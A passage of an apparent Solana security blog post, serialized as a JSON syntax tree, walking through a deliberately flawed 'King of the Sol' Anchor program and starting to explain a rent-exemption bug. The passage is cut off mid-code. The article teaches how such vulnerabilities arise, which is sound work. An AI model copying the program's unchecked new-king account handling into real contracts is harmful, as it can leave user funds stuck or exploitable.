ChangeKing",{"type":23,"tag":139,"props":69214,"children":69215},{"style":259},[69216],{"type":28,"value":20931},{"type":23,"tag":139,"props":69218,"children":69219},{"style":305},[69220],{"type":28,"value":20936},{"type":23,"tag":139,"props":69222,"children":69223},{"style":259},[69224],{"type":28,"value":5284},{"type":23,"tag":139,"props":69226,"children":69227},{"class":141,"line":160},[69228,69232,69236],{"type":23,"tag":139,"props":69229,"children":69230},{"style":259},[69231],{"type":28,"value":21138},{"type":23,"tag":139,"props":69233,"children":69234},{"style":279},[69235],{"type":28,"value":1713},{"type":23,"tag":139,"props":69237,"children":69238},{"style":259},[69239],{"type":28,"value":18266},{"type":23,"tag":139,"props":69241,"children":69242},{"class":141,"line":169},[69243,69247,69252,69256,69260,69264,69268,69272,69277],{"type":23,"tag":139,"props":69244,"children":69245},{"style":279},[69246],{"type":28,"value":18851},{"type":23,"tag":139,"props":69248,"children":69249},{"style":294},[69250],{"type":28,"value":69251}," throne",{"type":23,"tag":139,"props":69253,"children":69254},{"style":982},[69255],{"type":28,"value":2493},{"type":23,"tag":139,"props":69257,"children":69258},{"style":305},[69259],{"type":28,"value":21103},{"type":23,"tag":139,"props":69261,"children":69262},{"style":259},[69263],{"type":28,"value":20931},{"type":23,"tag":139,"props":69265,"children":69266},{"style":305},[69267],{"type":28,"value":20936},{"type":23,"tag":139,"props":69269,"children":69270},{"style":259},[69271],{"type":28,"value":1052},{"type":23,"tag":139,"props":69273,"children":69274},{"style":305},[69275],{"type":28,"value":69276},"Throne",{"type":23,"tag":139,"props":69278,"children":69279},{"style":259},[69280],{"type":28,"value":4141},{"type":23,"tag":139,"props":69282,"children":69283},{"class":141,"line":178},[69284],{"type":23,"tag":139,"props":69285,"children":69286},{"emptyLinePlaceholder":15},[69287],{"type":28,"value":184},{"type":23,"tag":139,"props":69289,"children":69290},{"class":141,"line":187},[69291],{"type":23,"tag":139,"props":69292,"children":69293},{"style":958},[69294],{"type":28,"value":69295},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":139,"props":69297,"children":69298},{"class":141,"line":196},[69299,69303,69307,69312,69316,69321,69325,69330,69334,69338,69342],{"type":23,"tag":139,"props":69300,"children":69301},{"style":259},[69302],{"type":28,"value":21138},{"type":23,"tag":139,"props":69304,"children":69305},{"style":279},[69306],{"type":28,"value":1713},{"type":23,"tag":139,"props":69308,"children":69309},{"style":259},[69310],{"type":28,"value":69311},", constraint ",{"type":23,"tag":139,"props":69313,"children":69314},{"style":982},[69315],{"type":28,"value":1067},{"type":23,"tag":139,"props":69317,"children":69318},{"style":259},[69319],{"type":28,"value":69320}," old_king",{"type":23,"tag":139,"props":69322,"children":69323},{"style":982},[69324],{"type":28,"value":73},{"type":23,"tag":139,"props":69326,"children":69327},{"style":259},[69328],{"type":28,"value":69329},"key() ",{"type":23,"tag":139,"props":69331,"children":69332},{"style":982},[69333],{"type":28,"value":6580},{"type":23,"tag":139,"props":69335,"children":69336},{"style":259},[69337],{"type":28,"value":69251},{"type":23,"tag":139,"props":69339,"children":69340},{"style":982},[69341],{"type":28,"value":73},{"type":23,"tag":139,"props":69343,"children":69344},{"style":259},[69345],{"type":28,"value":69346},"king)]\n",{"type":23,"tag":139,"props":69348,"children":69349},{"class":141,"line":205},[69350,69354,69358,69362,69366,69370,69374],{"type":23,"tag":139,"props":69351,"children":69352},{"style":279},[69353],{"type":28,"value":18851},{"type":23,"tag":139,"props":69355,"children":69356},{"style":294},[69357],{"type":28,"value":69320},{"type":23,"tag":139,"props":69359,"children":69360},{"style":982},[69361],{"type":28,"value":2493},{"type":23,"tag":139,"props":69363,"children":69364},{"style":305},[69365],{"type":28,"value":23419},{"type":23,"tag":139,"props":69367,"children":69368},{"style":259},[69369],{"type":28,"value":20931},{"type":23,"tag":139,"props":69371,"children":69372},{"style":305},[69373],{"type":28,"value":20936},{"type":23,"tag":139,"props":69375,"children":69376},{"style":259},[69377],{"type":28,"value":4141},{"type":23,"tag":139,"props":69379,"children":69380},{"class":141,"line":214},[69381],{"type":23,"tag":139,"props":69382,"children":69383},{"emptyLinePlaceholder":15},[69384],{"type":28,"value":184},{"type":23,"tag":139,"props":69386,"children":69387},{"class":141,"line":1320},[69388],{"type":23,"tag":139,"props":69389,"children":69390},{"style":958},[69391],{"type":28,"value":69392},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":139,"props":69394,"children":69395},{"class":141,"line":1329},[69396,69400,69404],{"type":23,"tag":139,"props":69397,"children":69398},{"style":259},[69399],{"type":28,"value":21138},{"type":23,"tag":139,"props":69401,"children":69402},{"style":279},[69403],{"type":28,"value":1713},{"type":23,"tag":139,"props":69405,"children":69406},{"style":259},[69407],{"type":28,"value":18266},{"type":23,"tag":139,"props":69409,"children":69410},{"class":141,"line":1580},[69411,69415,69420,69424,69428,69432,69436],{"type":23,"tag":139,"props":69412,"children":69413},{"style":279},[69414],{"type":28,"value":18851},{"type":23,"tag":139,"props":69416,"children":69417},{"style":294},[69418],{"type":28,"value":69419}," new_king",{"type":23,"tag":139,"props":69421,"children":69422},{"style":982},[69423],{"type":28,"value":2493},{"type":23,"tag":139,"props":69425,"children":69426},{"style":305},[69427],{"type":28,"value":23419},{"type":23,"tag":139,"props":69429,"children":69430},{"style":259},[69431],{"type":28,"value":20931},{"type":23,"tag":139,"props":69433,"children":69434},{"style":305},[69435],{"type":28,"value":20936},{"type":23,"tag":139,"props":69437,"children":69438},{"style":259},[69439],{"type":28,"value":4141},{"type":23,"tag":139,"props":69441,"children":69442},{"class":141,"line":1597},[69443],{"type":23,"tag":139,"props":69444,"children":69445},{"emptyLinePlaceholder":15},[69446],{"type":28,"value":184},{"type":23,"tag":139,"props":69448,"children":69449},{"class":141,"line":1614},[69450,69454,69458],{"type":23,"tag":139,"props":69451,"children":69452},{"style":259},[69453],{"type":28,"value":21138},{"type":23,"tag":139,"props":69455,"children":69456},{"style":279},[69457],{"type":28,"value":1713},{"type":23,"tag":139,"props":69459,"children":69460},{"style":259},[69461],{"type":28,"value":18266},{"type":23,"tag":139,"props":69463,"children":69464},{"class":141,"line":1627},[69465,69469,69473,69477,69481,69485,69489],{"type":23,"tag":139,"props":69466,"children":69467},{"style":279},[69468],{"type":28,"value":18851},{"type":23,"tag":139,"props":69470,"children":69471},{"style":294},[69472],{"type":28,"value":40133},{"type":23,"tag":139,"props":69474,"children":69475},{"style":982},[69476],{"type":28,"value":2493},{"type":23,"tag":139,"props":69478,"children":69479},{"style":305},[69480],{"type":28,"value":21167},{"type":23,"tag":139,"props":69482,"children":69483},{"style":259},[69484],{"type":28,"value":20931},{"type":23,"tag":139,"props":69486,"children":69487},{"style":305},[69488],{"type":28,"value":20936},{"type":23,"tag":139,"props":69490,"children":69491},{"style":259},[69492],{"type":28,"value":4141},{"type":23,"tag":139,"props":69494,"children":69495},{"class":141,"line":1636},[69496],{"type":23,"tag":139,"props":69497,"children":69498},{"style":259},[69499],{"type":28,"value":1897},{"type":23,"tag":139,"props":69501,"children":69502},{"class":141,"line":1659},[69503],{"type":23,"tag":139,"props":69504,"children":69505},{"emptyLinePlaceholder":15},[69506],{"type":28,"value":184},{"type":23,"tag":139,"props":69508,"children":69509},{"class":141,"line":1667},[69510],{"type":23,"tag":139,"props":69511,"children":69512},{"style":259},[69513],{"type":28,"value":69514},"#[program]\n",{"type":23,"tag":139,"props":69516,"children":69517},{"class":141,"line":1676},[69518,69522,69527],{"type":23,"tag":139,"props":69519,"children":69520},{"style":279},[69521],{"type":28,"value":11701},{"type":23,"tag":139,"props":69523,"children":69524},{"style":279},[69525],{"type":28,"value":69526}," mod",{"type":23,"tag":139,"props":69528,"children":69529},{"style":259},[69530],{"type":28,"value":69531}," king_of_the_sol {\n",{"type":23,"tag":139,"props":69533,"children":69534},{"class":141,"line":1745},[69535,69539,69543,69548,69552,69556,69560,69564,69568,69573,69577,69582,69586,69590,69594,69598,69602],{"type":23,"tag":139,"props":69536,"children":69537},{"style":279},[69538],{"type":28,"value":18851},{"type":23,"tag":139,"props":69540,"children":69541},{"style":279},[69542],{"type":28,"value":11706},{"type":23,"tag":139,"props":69544,"children":69545},{"style":245},[69546],{"type":28,"value":69547}," change_king",{"type":23,"tag":139,"props":69549,"children":69550},{"style":259},[69551],{"type":28,"value":262},{"type":23,"tag":139,"props":69553,"children":69554},{"style":294},[69555],{"type":28,"value":18288},{"type":23,"tag":139,"props":69557,"children":69558},{"style":982},[69559],{"type":28,"value":2493},{"type":23,"tag":139,"props":69561,"children":69562},{"style":305},[69563],{"type":28,"value":18297},{"type":23,"tag":139,"props":69565,"children":69566},{"style":259},[69567],{"type":28,"value":3808},{"type":23,"tag":139,"props":69569,"children":69570},{"style":305},[69571],{"type":28,"value":69572},"ChangeKing",{"type":23,"tag":139,"props":69574,"children":69575},{"style":259},[69576],{"type":28,"value":4633},{"type":23,"tag":139,"props":69578,"children":69579},{"style":294},[69580],{"type":28,"value":69581},"bid_amount",{"type":23,"tag":139,"props":69583,"children":69584},{"style":982},[69585],{"type":28,"value":2493},{"type":23,"tag":139,"props":69587,"children":69588},{"style":305},[69589],{"type":28,"value":3862},{"type":23,"tag":139,"props":69591,"children":69592},{"style":259},[69593],{"type":28,"value":1062},{"type":23,"tag":139,"props":69595,"children":69596},{"style":982},[69597],{"type":28,"value":11768},{"type":23,"tag":139,"props":69599,"children":69600},{"style":305},[69601],{"type":28,"value":11773},{"type":23,"tag":139,"props":69603,"children":69604},{"style":259},[69605],{"type":28,"value":18339},{"type":23,"tag":139,"props":69607,"children":69608},{"class":141,"line":1753},[69609],{"type":23,"tag":139,"props":69610,"children":69611},{"style":958},[69612],{"type":28,"value":69613},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":139,"props":69615,"children":69616},{"class":141,"line":1783},[69617,69621,69625,69629,69633,69637,69641,69645,69649,69654,69658,69663,69667,69671],{"type":23,"tag":139,"props":69618,"children":69619},{"style":245},[69620],{"type":28,"value":62348},{"type":23,"tag":139,"props":69622,"children":69623},{"style":259},[69624],{"type":28,"value":262},{"type":23,"tag":139,"props":69626,"children":69627},{"style":294},[69628],{"type":28,"value":69581},{"type":23,"tag":139,"props":69630,"children":69631},{"style":982},[69632],{"type":28,"value":6306},{"type":23,"tag":139,"props":69634,"children":69635},{"style":294},[69636],{"type":28,"value":23864},{"type":23,"tag":139,"props":69638,"children":69639},{"style":982},[69640],{"type":28,"value":73},{"type":23,"tag":139,"props":69642,"children":69643},{"style":259},[69644],{"type":28,"value":12686},{"type":23,"tag":139,"props":69646,"children":69647},{"style":982},[69648],{"type":28,"value":73},{"type":23,"tag":139,"props":69650,"children":69651},{"style":259},[69652],{"type":28,"value":69653},"throne",{"type":23,"tag":139,"props":69655,"children":69656},{"style":982},[69657],{"type":28,"value":73},{"type":23,"tag":139,"props":69659,"children":69660},{"style":259},[69661],{"type":28,"value":69662},"last_bid_amount ",{"type":23,"tag":139,"props":69664,"children":69665},{"style":982},[69666],{"type":28,"value":2573},{"type":23,"tag":139,"props":69668,"children":69669},{"style":1016},[69670],{"type":28,"value":5938},{"type":23,"tag":139,"props":69672,"children":69673},{"style":259},[69674],{"type":28,"value":1820},{"type":23,"tag":139,"props":69676,"children":69677},{"class":141,"line":1791},[69678,69683],{"type":23,"tag":139,"props":69679,"children":69680},{"style":245},[69681],{"type":28,"value":69682},"        transfer_from_signer",{"type":23,"tag":139,"props":69684,"children":69685},{"style":259},[69686],{"type":28,"value":1443},{"type":23,"tag":139,"props":69688,"children":69689},{"class":141,"line":1823},[69690,69694,69698,69702,69706,69710],{"type":23,"tag":139,"props":69691,"children":69692},{"style":982},[69693],{"type":28,"value":5688},{"type":23,"tag":139,"props":69695,"children":69696},{"style":294},[69697],{"type":28,"value":18288},{"type":23,"tag":139,"props":69699,"children":69700},{"style":982},[69701],{"type":28,"value":73},{"type":23,"tag":139,"props":69703,"children":69704},{"style":259},[69705],{"type":28,"value":12686},{"type":23,"tag":139,"props":69707,"children":69708},{"style":982},[69709],{"type":28,"value":73},{"type":23,"tag":139,"props":69711,"children":69712},{"style":259},[69713],{"type":28,"value":69714},"payer,\n",{"type":23,"tag":139,"props":69716,"children":69717},{"class":141,"line":1831},[69718,69722,69726,69730,69734,69738,69742,69746,69751],{"type":23,"tag":139,"props":69719,"children":69720},{"style":982},[69721],{"type":28,"value":5688},{"type":23,"tag":139,"props":69723,"children":69724},{"style":294},[69725],{"type":28,"value":18288},{"type":23,"tag":139,"props":69727,"children":69728},{"style":982},[69729],{"type":28,"value":73},{"type":23,"tag":139,"props":69731,"children":69732},{"style":259},[69733],{"type":28,"value":12686},{"type":23,"tag":139,"props":69735,"children":69736},{"style":982},[69737],{"type":28,"value":73},{"type":23,"tag":139,"props":69739,"children":69740},{"style":259},[69741],{"type":28,"value":69653},{"type":23,"tag":139,"props":69743,"children":69744},{"style":982},[69745],{"type":28,"value":73},{"type":23,"tag":139,"props":69747,"children":69748},{"style":245},[69749],{"type":28,"value":69750},"to_account_info",{"type":23,"tag":139,"props":69752,"children":69753},{"style":259},[69754],{"type":28,"value":1471},{"type":23,"tag":139,"props":69756,"children":69757},{"class":141,"line":1891},[69758,69763],{"type":23,"tag":139,"props":69759,"children":69760},{"style":294},[69761],{"type":28,"value":69762},"            bid_amount",{"type":23,"tag":139,"props":69764,"children":69765},{"style":259},[69766],{"type":28,"value":1488},{"type":23,"tag":139,"props":69768,"children":69769},{"class":141,"line":7053},[69770,69775,69779],{"type":23,"tag":139,"props":69771,"children":69772},{"style":259},[69773],{"type":28,"value":69774},"        )",{"type":23,"tag":139,"props":69776,"children":69777},{"style":982},[69778],{"type":28,"value":1132},{"type":23,"tag":139,"props":69780,"children":69781},{"style":259},[69782],{"type":28,"value":995},{"type":23,"tag":139,"props":69784,"children":69785},{"class":141,"line":7071},[69786],{"type":23,"tag":139,"props":69787,"children":69788},{"emptyLinePlaceholder":15},[69789],{"type":28,"value":184},{"type":23,"tag":139,"props":69791,"children":69792},{"class":141,"line":7116},[69793],{"type":23,"tag":139,"props":69794,"children":69795},{"style":958},[69796],{"type":28,"value":69797},"        // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":139,"props":69799,"children":69800},{"class":141,"line":7222},[69801,69805,69810,69814,69818,69822,69826,69830,69834,69838,69842,69846,69850,69855,69859,69863,69868],{"type":23,"tag":139,"props":69802,"children":69803},{"style":279},[69804],{"type":28,"value":1037},{"type":23,"tag":139,"props":69806,"children":69807},{"style":294},[69808],{"type":28,"value":69809}," to_reimburse",{"type":23,"tag":139,"props":69811,"children":69812},{"style":982},[69813],{"type":28,"value":985},{"type":23,"tag":139,"props":69815,"children":69816},{"style":259},[69817],{"type":28,"value":1042},{"type":23,"tag":139,"props":69819,"children":69820},{"style":294},[69821],{"type":28,"value":18288},{"type":23,"tag":139,"props":69823,"children":69824},{"style":982},[69825],{"type":28,"value":73},{"type":23,"tag":139,"props":69827,"children":69828},{"style":259},[69829],{"type":28,"value":12686},{"type":23,"tag":139,"props":69831,"children":69832},{"style":982},[69833],{"type":28,"value":73},{"type":23,"tag":139,"props":69835,"children":69836},{"style":259},[69837],{"type":28,"value":69653},{"type":23,"tag":139,"props":69839,"children":69840},{"style":982},[69841],{"type":28,"value":73},{"type":23,"tag":139,"props":69843,"children":69844},{"style":259},[69845],{"type":28,"value":69662},{"type":23,"tag":139,"props":69847,"children":69848},{"style":982},[69849],{"type":28,"value":2573},{"type":23,"tag":139,"props":69851,"children":69852},{"style":1016},[69853],{"type":28,"value":69854}," 9500",{"type":23,"tag":139,"props":69856,"children":69857},{"style":259},[69858],{"type":28,"value":1062},{"type":23,"tag":139,"props":69860,"children":69861},{"style":982},[69862],{"type":28,"value":2583},{"type":23,"tag":139,"props":69864,"children":69865},{"style":1016},[69866],{"type":28,"value":69867}," 10000",{"type":23,"tag":139,"props":69869,"children":69870},{"style":259},[69871],{"type":28,"value":995},{"type":23,"tag":139,"props":69873,"children":69874},{"class":141,"line":21518},[69875,69880],{"type":23,"tag":139,"props":69876,"children":69877},{"style":245},[69878],{"type":28,"value":69879},"        transfer_from_pda",{"type":23,"tag":139,"props":69881,"children":69882},{"style":259},[69883],{"type":28,"value":1443},{"type":23,"tag":139,"props":69885,"children":69886},{"class":141,"line":21553},[69887,69891,69895,69899,69903,69907,69911,69915,69919],{"type":23,"tag":139,"props":69888,"children":69889},{"style":982},[69890],{"type":28,"value":5688},{"type":23,"tag":139,"props":69892,"children":69893},{"style":294},[69894],{"type":28,"value":18288},{"type":23,"tag":139,"props":69896,"children":69897},{"style":982},[69898],{"type":28,"value":73},{"type":23,"tag":139,"props":69900,"children":69901},{"style":259},[69902],{"type":28,"value":12686},{"type":23,"tag":139,"props":69904,"children":69905},{"style":982},[69906],{"type":28,"value":73},{"type":23,"tag":139,"props":69908,"children":69909},{"style":259},[69910],{"type":28,"value":69653},{"type":23,"tag":139,"props":69912,"children":69913},{"style":982},[69914],{"type":28,"value":73},{"type":23,"tag":139,"props":69916,"children":69917},{"style":245},[69918],{"type":28,"value":69750},{"type":23,"tag":139,"props":69920,"children":69921},{"style":259},[69922],{"type":28,"value":1471},{"type":23,"tag":139,"props":69924,"children":69925},{"class":141,"line":21561},[69926,69930,69934,69938,69942,69946],{"type":23,"tag":139,"props":69927,"children":69928},{"style":982},[69929],{"type":28,"value":5688},{"type":23,"tag":139,"props":69931,"children":69932},{"style":294},[69933],{"type":28,"value":18288},{"type":23,"tag":139,"props":69935,"children":69936},{"style":982},[69937],{"type":28,"value":73},{"type":23,"tag":139,"props":69939,"children":69940},{"style":259},[69941],{"type":28,"value":12686},{"type":23,"tag":139,"props":69943,"children":69944},{"style":982},[69945],{"type":28,"value":73},{"type":23,"tag":139,"props":69947,"children":69948},{"style":259},[69949],{"type":28,"value":69950},"old_king,\n",{"type":23,"tag":139,"props":69952,"children":69953},{"class":141,"line":21569},[69954,69959],{"type":23,"tag":139,"props":69955,"children":69956},{"style":294},[69957],{"type":28,"value":69958},"            to_reimburse",{"type":23,"tag":139,"props":69960,"children":69961},{"style":259},[69962],{"type":28,"value":1488},{"type":23,"tag":139,"props":69964,"children":69965},{"class":141,"line":21578},[69966,69970,69974],{"type":23,"tag":139,"props":69967,"children":69968},{"style":259},[69969],{"type":28,"value":69774},{"type":23,"tag":139,"props":69971,"children":69972},{"style":982},[69973],{"type":28,"value":1132},{"type":23,"tag":139,"props":69975,"children":69976},{"style":259},[69977],{"type":28,"value":995},{"type":23,"tag":139,"props":69979,"children":69980},{"class":141,"line":21620},[69981],{"type":23,"tag":139,"props":69982,"children":69983},{"emptyLinePlaceholder":15},[69984],{"type":28,"value":184},{"type":23,"tag":139,"props":69986,"children":69987},{"class":141,"line":21653},[69988],{"type":23,"tag":139,"props":69989,"children":69990},{"style":958},[69991],{"type":28,"value":69992},"        // Set new king\n",{"type":23,"tag":139,"props":69994,"children":69995},{"class":141,"line":21661},[69996,70000,70004,70008,70012,70016,70020,70025,70029,70033,70037,70041,70045,70050,70054,70059],{"type":23,"tag":139,"props":69997,"children":69998},{"style":294},[69999],{"type":28,"value":24207},{"type":23,"tag":139,"props":70001,"children":70002},{"style":982},[70003],{"type":28,"value":73},{"type":23,"tag":139,"props":70005,"children":70006},{"style":259},[70007],{"type":28,"value":12686},{"type":23,"tag":139,"props":70009,"children":70010},{"style":982},[70011],{"type":28,"value":73},{"type":23,"tag":139,"props":70013,"children":70014},{"style":259},[70015],{"type":28,"value":69653},{"type":23,"tag":139,"props":70017,"children":70018},{"style":982},[70019],{"type":28,"value":73},{"type":23,"tag":139,"props":70021,"children":70022},{"style":259},[70023],{"type":28,"value":70024},"king ",{"type":23,"tag":139,"props":70026,"children":70027},{"style":982},[70028],{"type":28,"value":1067},{"type":23,"tag":139,"props":70030,"children":70031},{"style":294},[70032],{"type":28,"value":23864},{"type":23,"tag":139,"props":70034,"children":70035},{"style":982},[70036],{"type":28,"value":73},{"type":23,"tag":139,"props":70038,"children":70039},{"style":259},[70040],{"type":28,"value":12686},{"type":23,"tag":139,"props":70042,"children":70043},{"style":982},[70044],{"type":28,"value":73},{"type":23,"tag":139,"props":70046,"children":70047},{"style":259},[70048],{"type":28,"value":70049},"new_king",{"type":23,"tag":139,"props":70051,"children":70052},{"style":982},[70053],{"type":28,"value":73},{"type":23,"tag":139,"props":70055,"children":70056},{"style":245},[70057],{"type":28,"value":70058},"key",{"type":23,"tag":139,"props":70060,"children":70061},{"style":259},[70062],{"type":28,"value":1656},{"type":23,"tag":139,"props":70064,"children":70065},{"class":141,"line":21669},[70066,70070,70074,70078,70082,70086,70090,70094,70098,70103],{"type":23,"tag":139,"props":70067,"children":70068},{"style":294},[70069],{"type":28,"value":24207},{"type":23,"tag":139,"props":70071,"children":70072},{"style":982},[70073],{"type":28,"value":73},{"type":23,"tag":139,"props":70075,"children":70076},{"style":259},[70077],{"type":28,"value":12686},{"type":23,"tag":139,"props":70079,"children":70080},{"style":982},[70081],{"type":28,"value":73},{"type":23,"tag":139,"props":70083,"children":70084},{"style":259},[70085],{"type":28,"value":69653},{"type":23,"tag":139,"props":70087,"children":70088},{"style":982},[70089],{"type":28,"value":73},{"type":23,"tag":139,"props":70091,"children":70092},{"style":259},[70093],{"type":28,"value":69662},{"type":23,"tag":139,"props":70095,"children":70096},{"style":982},[70097],{"type":28,"value":1067},{"type":23,"tag":139,"props":70099,"children":70100},{"style":294},[70101],{"type":28,"value":70102}," bid_amount",{"type":23,"tag":139,"props":70104,"children":70105},{"style":259},[70106],{"type":28,"value":995},{"type":23,"tag":139,"props":70108,"children":70109},{"class":141,"line":21678},[70110,70114,70118,70122,70126,70130,70134,70139,70143,70148,70152,70156,70160,70164,70169,70173,70177],{"type":23,"tag":139,"props":70111,"children":70112},{"style":294},[70113],{"type":28,"value":24207},{"type":23,"tag":139,"props":70115,"children":70116},{"style":982},[70117],{"type":28,"value":73},{"type":23,"tag":139,"props":70119,"children":70120},{"style":259},[70121],{"type":28,"value":12686},{"type":23,"tag":139,"props":70123,"children":70124},{"style":982},[70125],{"type":28,"value":73},{"type":23,"tag":139,"props":70127,"children":70128},{"style":259},[70129],{"type":28,"value":69653},{"type":23,"tag":139,"props":70131,"children":70132},{"style":982},[70133],{"type":28,"value":73},{"type":23,"tag":139,"props":70135,"children":70136},{"style":259},[70137],{"type":28,"value":70138},"last_time ",{"type":23,"tag":139,"props":70140,"children":70141},{"style":982},[70142],{"type":28,"value":1067},{"type":23,"tag":139,"props":70144,"children":70145},{"style":305},[70146],{"type":28,"value":70147}," Clock",{"type":23,"tag":139,"props":70149,"children":70150},{"style":982},[70151],{"type":28,"value":1461},{"type":23,"tag":139,"props":70153,"children":70154},{"style":245},[70155],{"type":28,"value":14363},{"type":23,"tag":139,"props":70157,"children":70158},{"style":259},[70159],{"type":28,"value":11890},{"type":23,"tag":139,"props":70161,"children":70162},{"style":982},[70163],{"type":28,"value":1109},{"type":23,"tag":139,"props":70165,"children":70166},{"style":259},[70167],{"type":28,"value":70168},"unix_timestamp ",{"type":23,"tag":139,"props":70170,"children":70171},{"style":279},[70172],{"type":28,"value":6847},{"type":23,"tag":139,"props":70174,"children":70175},{"style":305},[70176],{"type":28,"value":3862},{"type":23,"tag":139,"props":70178,"children":70179},{"style":259},[70180],{"type":28,"value":995},{"type":23,"tag":139,"props":70182,"children":70183},{"class":141,"line":21754},[70184],{"type":23,"tag":139,"props":70185,"children":70186},{"emptyLinePlaceholder":15},[70187],{"type":28,"value":184},{"type":23,"tag":139,"props":70189,"children":70190},{"class":141,"line":21787},[70191,70195],{"type":23,"tag":139,"props":70192,"children":70193},{"style":305},[70194],{"type":28,"value":12823},{"type":23,"tag":139,"props":70196,"children":70197},{"style":259},[70198],{"type":28,"value":12349},{"type":23,"tag":139,"props":70200,"children":70201},{"class":141,"line":21795},[70202],{"type":23,"tag":139,"props":70203,"children":70204},{"style":259},[70205],{"type":28,"value":1335},{"type":23,"tag":139,"props":70207,"children":70208},{"class":141,"line":21803},[70209],{"type":23,"tag":139,"props":70210,"children":70211},{"style":259},[70212],{"type":28,"value":1897},{"type":23,"tag":24,"props":70214,"children":70215},{},[70216],{"type":28,"value":70217},"Note this comment:",{"type":23,"tag":90,"props":70219,"children":70220},{},[70221],{"type":23,"tag":24,"props":70222,"children":70223},{},[70224],{"type":28,"value":70225},"any writable account is allowed as a new king.",{"type":23,"tag":24,"props":70227,"children":70228},{},[70229],{"type":28,"value":70230},"...Is our assumption correct?",{"type":23,"tag":41,"props":70232,"children":70234},{"id":70233},"the-bugs-lurking-beneath",[70235],{"type":28,"value":70236},"The Bugs Lurking Beneath",{"type":23,"tag":666,"props":70238,"children":70240},{"id":70239},"bug-1-the-rent-exemption-trap",[70241],{"type":28,"value":70242},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":24,"props":70244,"children":70245},{},[70246,70248,70253],{"type":28,"value":70247},"On Solana, all accounts must maintain a ",{"type":23,"tag":56,"props":70249,"children":70250},{},[70251],{"type":28,"value":70252},"minimum balance",{"type":28,"value":70254}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":14699,"props":70256,"children":70257},{},[70258,70273],{"type":23,"tag":801,"props":70259,"children":70260},{},[70261,70266,70267],{"type":23,"tag":56,"props":70262,"children":70263},{},[70264],{"type":28,"value":70265},"Uninitialized",{"type":28,"value":13343},{"type":23,"tag":135,"props":70268,"children":70270},{"className":70269},[],[70271],{"type":28,"value":70272},"lamports = 0",{"type":23,"tag":801,"props":70274,"children":70275},{},[70276,70281,70282],{"type":23,"tag":56,"props":70277,"children":70278},{},[70279],{"type":28,"value":70280},"Initialized",{"type":28,"value":13343},{"type":23,"tag":135,"props":70283,"children":70285},{"className":70284},[],[70286],{"type":28,"value":70287},"lamports >= rent-exempt threshold",{"type":23,"tag":24,"props":70289,"children":70290},{},[70291,70293,70298],{"type":28,"value":70292},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":56,"props":70294,"children":70295},{},[70296],{"type":28,"value":70297},"account metadata",{"type":28,"value":70299}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":24,"props":70301,"children":70302},{},[70303,70305,70311],{"type":28,"value":70304},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":135,"props":70306,"children":70308},{"className":70307},[],[70309],{"type":28,"value":70310},"data.len() == 0",{"type":28,"value":70312}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":24,"props":70314,"children":70315},{},[70316,70318,70324],{"type":28,"value":70317},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":64,"props":70319,"children":70322},{"href":70320,"rel":70321},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[68],[70323],{"type":28,"value":45481},{"type":28,"value":73},{"type":23,"tag":128,"props":70326,"children":70328},{"className":948,"code":70327,"language":947,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[70329],{"type":23,"tag":135,"props":70330,"children":70331},{"__ignoreMap":7},[70332,70416,70433,70479,70499,70520,70541,70556,70573,70617,70636,70657,70678,70694,70702,70735,70742,70749,70756,70763],{"type":23,"tag":139,"props":70333,"children":70334},{"class":141,"line":142},[70335,70340,70345,70349,70353,70357,70361,70366,70370,70374,70379,70383,70388,70392,70396,70400,70404,70408,70412],{"type":23,"tag":139,"props":70336,"children":70337},{"style":279},[70338],{"type":28,"value":70339},"    fn",{"type":23,"tag":139,"props":70341,"children":70342},{"style":245},[70343],{"type":28,"value":70344}," transition_allowed",{"type":23,"tag":139,"props":70346,"children":70347},{"style":259},[70348],{"type":28,"value":262},{"type":23,"tag":139,"props":70350,"children":70351},{"style":982},[70352],{"type":28,"value":1085},{"type":23,"tag":139,"props":70354,"children":70355},{"style":279},[70356],{"type":28,"value":11724},{"type":23,"tag":139,"props":70358,"children":70359},{"style":259},[70360],{"type":28,"value":1052},{"type":23,"tag":139,"props":70362,"children":70363},{"style":294},[70364],{"type":28,"value":70365},"pre_rent_state",{"type":23,"tag":139,"props":70367,"children":70368},{"style":982},[70369],{"type":28,"value":2493},{"type":23,"tag":139,"props":70371,"children":70372},{"style":982},[70373],{"type":28,"value":5144},{"type":23,"tag":139,"props":70375,"children":70376},{"style":305},[70377],{"type":28,"value":70378},"RentState",{"type":23,"tag":139,"props":70380,"children":70381},{"style":259},[70382],{"type":28,"value":1052},{"type":23,"tag":139,"props":70384,"children":70385},{"style":294},[70386],{"type":28,"value":70387},"post_rent_state",{"type":23,"tag":139,"props":70389,"children":70390},{"style":982},[70391],{"type":28,"value":2493},{"type":23,"tag":139,"props":70393,"children":70394},{"style":982},[70395],{"type":28,"value":5144},{"type":23,"tag":139,"props":70397,"children":70398},{"style":305},[70399],{"type":28,"value":70378},{"type":23,"tag":139,"props":70401,"children":70402},{"style":259},[70403],{"type":28,"value":1062},{"type":23,"tag":139,"props":70405,"children":70406},{"style":982},[70407],{"type":28,"value":11768},{"type":